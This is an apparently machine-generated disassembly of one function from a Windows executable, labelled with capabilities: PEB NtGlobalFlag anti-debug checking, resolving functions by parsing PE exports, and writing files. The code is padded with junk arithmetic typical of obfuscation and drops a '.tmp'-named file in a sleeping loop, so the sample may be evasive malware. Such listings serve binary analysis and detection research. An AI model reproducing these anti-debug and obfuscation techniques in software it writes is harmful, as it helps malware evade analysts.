Function at 0x407ca0
Capabilities:
Check for peb ntglobalflag flag
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e838
mov eax, dword fs:[0]
push eax
sub esp, 0xf0
mov eax, dword [0x4395c0]
xor eax, esp
mov dword [esp + 0xe8], eax
push ebx
push esi
push edi
mov eax, dword [0x4395c0]
xor eax, esp
push eax
lea eax, [esp + 0x100]
mov dword fs:[0], eax
fldz
xor eax, eax
fstp qword [esp + 0x84]
mov dword [esp + 0x5c], eax
fldz
mov dword [esp + 0x60], eax
fst dword [esp + 0x3c]
mov dword [esp + 0xb0], 0xf
mov dword [esp + 0xac], eax
mov word [esp + 0x38], ax
fst dword [esp + 0x70]
fst dword [esp + 0x20]
mov byte [esp + 0x9c], al
mov dword [esp + 0x68], eax
fst dword [esp + 0x48]
mov dword [esp + 0x44], eax
fst dword [esp + 0x58]
mov dword [esp + 0x50], eax
fst dword [esp + 0x30]
fstp dword [esp + 0x4c]
mov dword [esp + 0x70], eax
push 0x118
mov dword [esp + 0x10c], eax
call fcn.0040b478
push eax
mov dword [esp + 0x94], eax
call fcn.004038d0
fld dword [esp + 0x44]
mov ecx, dword [0x4376c8]
mov dword [esp + 0x5c], ecx
fisub dword [esp + 0x5c]
add esp, 8
fstp dword [esp + 0x3c]
jmp 0x407d82
fstp st(0)
push 0
call fcn.0040b21a
mov esi, dword [esp + 0x64]
add esp, 4
cmp edx, esi
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], edx
jg 0x407db5
jl 0x407da7
cmp eax, dword [esp + 0x5c]
jae 0x407db5
xor esi, esi
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], esi
mov ecx, eax
sub ecx, dword [esp + 0x5c]
mov edi, edx
sbb edi, esi
mov dword [esp + 0x18], edi
js 0x4088f9
jg 0x407dd7
cmp ecx, 0x708
jbe 0x4088f9
mov esi, eax
shr esi, 9
push 0x408
lea ebx, [esi + 0x55]
push 0x436d60
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], edx
mov dword [esp + 0x5c], 0
mov dword [esp + 0x3c], esi
mov dword [esp + 0x1c], ebx
call fcn.00401660
push 0xd
push 0x42c97c
mov dword [esp + 0x7c], eax
call fcn.00401660
mov edi, eax
push 0xaf1
push 0x42e688
mov dword [esp + 0x58], edi
call fcn.00401660
push 0x31e
push 0x42f850
mov dword [esp + 0x98], eax
call fcn.00401660
add esp, 0x20
mov dword [esp + 0x74], eax
cmp esi, ebx
je 0x4083bb
mov edx, dword [0x43ae90]
push 0
push edx
call fcn.00401230
add esp, 8
test eax, eax
jne 0x407e7a
mov eax, dword [0x43aea4]
mov ecx, dword [0x43a9a4]
push eax
push ecx
call fcn.00401fb0
add esp, 8
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x78]
push edx
push eax
push ecx
lea edx, [esp + 0xc0]
push edx
call fcn.00403350
push 0x8b
push 0x424600
call fcn.00401660
mov ebx, eax
mov eax, dword [esp + 0x58]
add esp, 0x18
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407eb0
mov edi, ebx
sub eax, esi
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x407ec0
fld dword [esp + 0x30]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x44]
and ecx, 3
mov dword [esp + 0x30], eax
push 0x2710
rep movsb byte es:[edi], byte [esi]
fisub dword [esp + 0x34]
fstp dword [esp + 0x34]
push 0
lea ecx, [esp + 0xa0]
push ecx
lea edx, [esp + 0xc0]
push ebx
push edx
call fcn.004073c0
push 0x8b
fldz
push 0
fst qword [esp + 0x40]
push ebx
fstp qword [esp + 0x44]
call fcn.0040b8d0
fld qword [esp + 0x44]
push ebx
fmul qword [0x41f330]
fstp qword [esp + 0x48]
call fcn.0040b39b
dec word [0x43762c]
mov ax, word [0x43762c]
mov ecx, dword [0x437594]
cwde
add eax, 0x6895c0e7
sub ecx, 0x48e206f5
add esp, 0x24
cmp eax, ecx
jl 0x407fa5
fld qword [0x4378b8]
fld1
fadd st(1), st(0)
fxch st(1)
fstp qword [0x4378b8]
fld qword [0x4378b8]
mov edx, dword [0x437948]
mov ax, word [0x437464]
fstp st(0)
mov cx, word [esp + 0x38]
fld dword [esp + 0x30]
mov eax, 1
fstp st(0)
add dword [0x437948], eax
add word [0x437464], ax
fsubr dword [esp + 0x30]
fstp dword [esp + 0x30]
jmp 0x407fd7
fld dword [esp + 0x20]
fadd qword [0x41f230]
fstp dword [esp + 0x20]
mov edx, dword [0x4373b0]
mov dword [esp + 0x24], edx
fild dword [esp + 0x24]
fstp dword [esp + 0x24]
fld dword [esp + 0x20]
fsubr dword [esp + 0x24]
call fcn.0040b2f0
mov dword [0x4373b0], eax
mov eax, dword [esp + 0x9c]
mov edi, 0x10
cmp dword [esp + 0xb0], edi
jae 0x407ff3
lea eax, [esp + 0x9c]
mov ecx, dword [esp + 0xac]
mov edx, dword [esp + 0x6c]
push ecx
push eax
push edx
call fcn.00406f60
add esp, 0xc
cmp eax, 9
jl 0x408379
mov ecx, dword [esp + 0x9c]
cmp dword [esp + 0xb0], edi
jae 0x408029
lea ecx, [esp + 0x9c]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x80]
jl 0x408379
jg 0x408046
cmp edx, dword [esp + 0x7c]
jb 0x408379
lea esi, [eax - 1]
cmp esi, dword [esp + 0xac]
jbe 0x408057
call fcn.0040bae1
mov eax, dword [esp + 0x9c]
cmp dword [esp + 0xb0], edi
jae 0x40806e
lea eax, [esp + 0x9c]
mov byte [eax + esi], 0
mov eax, dword [esp + 0x9c]
cmp dword [esp + 0xb0], edi
jae 0x408089
lea eax, [esp + 0x9c]
lea ecx, [esp + 0xb4]
add eax, 8
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4080b3
test dl, dl
je 0x4080af
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4080b3
add eax, 2
add ecx, 2
test dl, dl
jne 0x408093
xor eax, eax
jmp 0x4080b8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4080e1
mov eax, dword [0x4376c8]
mov ecx, 0x27ff03a7
sub ecx, eax
mov dword [esp + 0x24], ecx
fild dword [esp + 0x24]
fadd qword [0x4376e8]
fstp qword [0x4376e8]
jmp 0x408379
fld qword [esp + 0x84]
mov ebx, dword [esp + 0xb0]
mov edx, dword [esp + 0x9c]
fstp dword [0x437560]
cmp ebx, edi
jb 0x4081e1
mov edi, edx
test edx, edx
je 0x408137
mov eax, edx
cmp ebx, 0x10
jae 0x408118
lea eax, [esp + 0x9c]
cmp eax, edi
ja 0x408137
mov eax, edx
cmp ebx, 0x10
jae 0x40812a
lea eax, [esp + 0x9c]
mov ecx, dword [esp + 0xac]
add eax, ecx
cmp edi, eax
jbe 0x408151
call fcn.0040bae1
mov ebx, dword [esp + 0xb0]
mov ecx, dword [esp + 0xac]
mov edx, dword [esp + 0x9c]
lea esi, [esp + 0x98]
mov dword [esp + 0x94], edi
nop
mov eax, edx
cmp ebx, 0x10
jae 0x40816e
lea eax, [esp + 0x9c]
lea edi, [eax + ecx]
test edi, edi
je 0x40819b
mov eax, edx
cmp ebx, 0x10
jae 0x408183
lea eax, [esp + 0x9c]
cmp eax, edi
ja 0x40819b
mov eax, edx
cmp ebx, 0x10
jae 0x408195
lea eax, [esp + 0x9c]
add eax, ecx
cmp edi, eax
jbe 0x4081a0
call fcn.0040bae1
cmp esi, 0xfffffffc
je 0x4081b9
test esi, esi
je 0x4081b4
lea edx, [esp + 0x98]
cmp esi, edx
je 0x4081b9
call fcn.0040bae1
mov ebx, dword [esp + 0x94]
cmp ebx, edi
je 0x40824c
cmp esi, 0xfffffffc
je 0x4081fe
test esi, esi
jne 0x4081d6
call fcn.0040bae1
cmp dword [esi + 0x18], 0x10
jb 0x4081ed
mov eax, dword [esi + 4]
jmp 0x4081f0
lea edi, [esp + 0x9c]
jmp 0x40810a
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x4081fe
call fcn.0040bae1
mov byte [ebx], 0
cmp esi, 0xfffffffc
je 0x40822b
test esi, esi
jne 0x40820f
call fcn.0040bae1
cmp dword [esi + 0x18], 0x10
jb 0x40821a
mov eax, dword [esi + 4]
jmp 0x40821d
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x40822b
call fcn.0040bae1
inc dword [esp + 0x94]
mov ebx, dword [esp + 0xb0]
mov ecx, dword [esp + 0xac]
mov edx, dword [esp + 0x9c]
jmp 0x408160
or ebx, 0xffffffff
add dword [esp + 0x44], ebx
mov ax, word [esp + 0x38]
movsx ecx, ax
mov dword [esp + 0x24], ecx
fild dword [esp + 0x24]
fld dword [esp + 0x30]
mov edx, dword [esp + 0x44]
mov dword [esp + 0x24], edx
fisub dword [esp + 0x24]
fsub dword [esp + 0x3c]
fsubp st(1)
call fcn.0040b2f0
push 0x7e
mov word [esp + 0x3c], ax
push 0x424600
call fcn.00401660
push 0
mov esi, eax
push 0
lea eax, [esp + 0xa8]
push eax
lea ecx, [esp + 0xc8]
push esi
push ecx
call fcn.004073c0
fldz
push 0x7e
fst qword [esp + 0x44]
push 0
fstp qword [esp + 0x48]
push esi
call fcn.0040b8d0
fld qword [esp + 0x4c]
fmul qword [0x41f330]
push esi
fstp qword [esp + 0x50]
call fcn.0040b39b
fld dword [esp + 0x74]
push 0xc
fsub qword [0x41f660]
push 0x42bab0
fstp dword [esp + 0x7c]
call fcn.00401660
add esp, 0x34
mov esi, eax
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4082f5
sub eax, ecx
push eax
push ebx
push esi
lea ecx, [esp + 0xa4]
call fcn.00404170
fldz
fst qword [esp + 0x24]
mov edi, eax
fstp qword [esp + 0x24]
xor eax, eax
fld qword [esp + 0x24]
mov dword [esi], eax
fmul qword [0x41f330]
mov dword [esi + 4], eax
mov dword [esi + 8], eax
push esi
fstp qword [esp + 0x28]
call fcn.0040b39b
mov edx, dword [esp + 0xb0]
add edx, 0xfffffff5
add esp, 4
cmp edi, edx
je 0x40838e
mov eax, dword [0x437788]
mov ecx, dword [esp + 0x44]
add eax, 0x524ab3d8
imul ecx, eax
mov dword [esp + 0x44], ecx
add dword [esp + 0x50], ebx
mov dx, word [0x43759c]
mov ecx, dword [esp + 0x50]
movsx eax, dx
imul ecx, eax
mov word [0x43759c], cx
mov eax, dword [esp + 0x34]
inc eax
mov dword [esp + 0x34], eax
cmp eax, dword [esp + 0x14]
jne 0x407e50
jmp 0x4083b7
fld dword [0x437400]
push 0xb
fsub qword [0x41f658]
push edi
lea ecx, [esp + 0xa0]
fstp dword [0x437400]
call fcn.004056c0
mov dword [esp + 0x54], 1
mov edi, dword [esp + 0x40]
fldz
mov esi, dword [esp + 0x6c]
push 0x408
fst qword [esp + 0x18]
push 0
fstp qword [esp + 0x1c]
push esi
call fcn.0040b8d0
fld qword [esp + 0x20]
fmul qword [0x41f330]
push esi
fstp qword [esp + 0x24]
call fcn.0040b39b
fldz
xor eax, eax
fst qword [esp + 0x24]
mov dword [edi], eax
fstp qword [esp + 0x24]
mov dword [edi + 4], eax
fld qword [esp + 0x24]
mov dword [edi + 8], eax
fmul qword [0x41f330]
mov byte [edi + 0xc], al
push edi
fstp qword [esp + 0x28]
call fcn.0040b39b
fldz
mov esi, dword [esp + 0x88]
push 0x31e
fst qword [esp + 0x2c]
push 0
fstp qword [esp + 0x30]
push esi
call fcn.0040b8d0
fld qword [esp + 0x34]
fmul qword [0x41f330]
push esi
fstp qword [esp + 0x38]
call fcn.0040b39b
fldz
mov esi, dword [esp + 0x9c]
push 0xaf1
fst qword [esp + 0x3c]
push 0
fstp qword [esp + 0x40]
push esi
call fcn.0040b8d0
fld qword [esp + 0x44]
fmul qword [0x41f330]
push esi
fstp qword [esp + 0x48]
call fcn.0040b39b
push 0x40
lea edx, [esp + 0xec]
push 0
push edx
call fcn.0040b8d0
add esp, 0x40
cmp dword [esp + 0x54], 0
je 0x4088f9
mov eax, dword [esp + 0x8c]
push 0x708
push eax
call fcn.00403a70
add esp, 8
cmp dword [esp + 0xac], 0x200
jbe 0x4088f9
fld dword [esp + 0x3c]
push 0x474
fsub qword [0x41f650]
fstp dword [esp + 0x40]
call fcn.0040b478
add esp, 4
mov ebx, eax
push 0x104
push ebx
push 0
lea edi, [ebx + 0x208]
call dword [0x43a988]
cmp eax, 0x104
je 0x408512
test eax, eax
je 0x408512
lea ebx, [ebx]
cmp byte [eax + ebx], 0x5c
je 0x40850d
sub eax, 1
jne 0x408500
jmp 0x408512
mov byte [eax + ebx + 1], 0
mov ecx, dword [0x437444]
imul ecx, ecx, 0xc0909eb
mov dword [0x437444], ecx
call dword [0x43ae80]
push eax
push ebx
call fcn.00403210
fld qword [0x437610]
mov edx, edi
fsub qword [0x41f648]
add esp, 8
mov eax, ebx
sub edx, ebx
fstp qword [0x437610]
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x408550
mov eax, edi
lea esi, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408560
sub eax, esi
dec al
movsx edx, al
dec al
movsx ecx, al
mov byte [edx + edi], 0x70
dec al
movsx edx, al
push 3
mov byte [ecx + edi], 0x6d
push 0x427efc
mov byte [edx + edi], 0x74
call fcn.00401660
mov esi, eax
push esi
push edi
call fcn.0040c08e
fldz
mov dword [esp + 0x50], eax
fst qword [esp + 0x24]
xor eax, eax
fstp qword [esp + 0x24]
mov word [esi], ax
fld qword [esp + 0x24]
mov byte [esi + 2], al
fmul qword [0x41f330]
push esi
fstp qword [esp + 0x28]
call fcn.0040b39b
movzx eax, word [esp + 0x4c]
mov ecx, dword [0x4377f0]
add eax, ecx
mov word [0x43789c], ax
inc dword [0x4377f0]
add esp, 0x14
cmp dword [esp + 0x40], 0
je 0x4088e0
mov esi, dword [esp + 0xac]
add esi, 0xfffffffc
push esi
call fcn.0040b478
add esp, 4
cmp dword [esp + 0xb0], 0x10
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x9c]
jae 0x408619
lea eax, [esp + 0x9c]
mov edx, dword [esp + 0x34]
push esi
push eax
push edx
call fcn.0040b560
mov eax, dword [esp + 0xa8]
add esp, 0xc
cmp dword [esp + 0xb0], 0x10
jae 0x408640
lea eax, [esp + 0x9c]
mov eax, dword [esi + eax]
mov edx, dword [esp + 0x34]
push eax
mov ecx, esi
sar ecx, 2
push ecx
push edx
call fcn.00401570
add esp, 0xc
lea ecx, [esp + 0x98]
call fcn.00405ca0
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x34]
push eax
push 1
push esi
push ecx
call fcn.0040c207
push esi
mov esi, dword [esp + 0x48]
push 0
push esi
call fcn.0040b8d0
push esi
call fcn.0040b39b
mov dx, word [esp + 0x58]
movsx eax, dx
mov ecx, 0xbe3ecc93
sub ecx, eax
add ecx, dword [esp + 0x70]
add esp, 0x20
cmp ecx, 0x6cf1bf24
jle 0x4086ca
fld dword [esp + 0x20]
fadd qword [0x41f640]
fsub qword [0x41f638]
fstp dword [esp + 0x48]
fld dword [esp + 0x20]
fsub qword [0x41f230]
fstp dword [esp + 0x20]
jmp 0x4086dc
fld qword [esp + 0x84]
fsub dword [esp + 0x30]
fstp qword [esp + 0x84]
mov edx, dword [esp + 0x40]
push edx
call fcn.0040bc34
add esp, 4
push ebx
push edi
call dword [0x43ae58]
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [0x43a988]
push 0x15
push 0x428994
call fcn.00401660
fld dword [esp + 0x28]
fld1
mov edi, eax
fadd st(1), st(0)
mov ecx, 0xd85c3ace
fxch st(1)
add esp, 8
fstp dword [esp + 0x20]
fld dword [esp + 0x20]
mov eax, dword [esp + 0x70]
sub ecx, eax
add ecx, dword [0x437548]
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fcompp
fnstsw ax
test ah, 0x41
jp 0x40876d
fstp st(0)
mov eax, 0x10404493
fld dword [esp + 0x4c]
mov edx, dword [esp + 0x68]
sub eax, edx
mov dword [esp + 0x14], eax
fisub dword [esp + 0x14]
fstp dword [esp + 0x4c]
dec dword [esp + 0x68]
jmp 0x40878d
fld qword [0x437888]
fsubr qword [0x41f630]
fadd dword [esp + 0x58]
fstp dword [esp + 0x58]
fadd qword [0x437888]
fstp qword [0x437888]
push 0x20
push 0x4245e0
call fcn.00401660
mov ecx, dword [0x43ae90]
push ecx
mov esi, eax
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x30c]
push 0x168
push eax
call fcn.0040c72b
fld dword [esp + 0x40]
fsub qword [0x437568]
call fcn.0040b2f0
mov dword [0x43761c], eax
fld dword [esp + 0x40]
fsub qword [0x41f230]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
fstp dword [esp + 0x40]
mov dword [esi + 8], eax
fldz
mov dword [esi + 0xc], eax
fst qword [esp + 0x34]
mov dword [esi + 0x10], eax
fstp qword [esp + 0x34]
mov dword [esi + 0x14], eax
fld qword [esp + 0x34]
mov dword [esi + 0x18], eax
fmul qword [0x41f330]
mov dword [esi + 0x1c], eax
push esi
fstp qword [esp + 0x38]
call fcn.0040b39b
dec dword [esp + 0x5c]
mov dx, word [esp + 0x5c]
movsx eax, dx
mov ecx, 0xfca17342
sub ecx, eax
mov dword [esp + 0x38], ecx
xor eax, eax
push edi
fild dword [esp + 0x3c]
fmul dword [esp + 0x80]
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
fstp dword [esp + 0x80]
mov dword [edi + 0xc], eax
fldz
mov dword [edi + 0x10], eax
fst qword [esp + 0x3c]
mov byte [edi + 0x14], al
fstp qword [esp + 0x3c]
fld qword [esp + 0x3c]
fmul qword [0x41f330]
fstp qword [esp + 0x3c]
call fcn.0040b39b
fld dword [0x43777c]
push 1
fadd qword [0x41f230]
fstp dword [0x43777c]
fld dword [0x43745c]
fld dword [0x43777c]
mov edx, dword [0x437444]
mov eax, dword [0x43ae90]
mov dword [esp + 0x40], edx
fiadd dword [esp + 0x40]
push eax
fsub qword [0x41f628]
fsubp st(1)
fstp dword [0x43745c]
call fcn.00401230
lea eax, [ebx + 0x30c]
push eax
push ebx
call fcn.00401fb0
push 0x474
push 0
push ebx
call fcn.0040b8d0
add esp, 0x44
push 0x15f90
call dword [0x43a98c]
jmp 0x4088f0
push 0x474
push 0
push ebx
call fcn.0040b8d0
add esp, 0xc
push ebx
call fcn.0040b39b
add esp, 4
push 0x3e8
call dword [0x43a98c]
fld dword [0x4375fc]
mov cx, word [0x437460]
mov eax, dword [0x43ae90]
movsx edx, cx
mov dword [esp + 0x14], edx
push 0
push eax
fild dword [esp + 0x1c]
fsubp st(1)
fstp dword [0x4375fc]
call fcn.00401230
add esp, 8
test eax, eax
jne 0x40894e
mov ecx, dword [0x43aea4]
mov edx, dword [0x43a9a4]
push ecx
push edx
call fcn.00401fb0
add esp, 8
fld dword [esp + 0x48]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [esp + 0x48]
inc dword [0x437828]
mov eax, dword [0x437828]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fadd dword [esp + 0x48]
fcomp qword [0x41f620]
fnstsw ax
test ah, 0x44
jnp 0x407d80
fld dword [esp + 0x3c]
fadd st(1)
fstp dword [esp + 0x3c]
fld dword [0x4377dc]
mov ecx, dword [esp + 0x44]
sub ecx, 0x322a11d2
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fld dword [esp + 0x3c]
fsubp st(2)
fld dword [esp + 0x4c]
faddp st(2)
fcompp
fnstsw ax
fsubr dword [esp + 0x4c]
fstp dword [esp + 0x4c]
test ah, 1
jne 0x407d82
fld qword [0x41f618]
fstp qword [0x4373d0]
jmp 0x407d82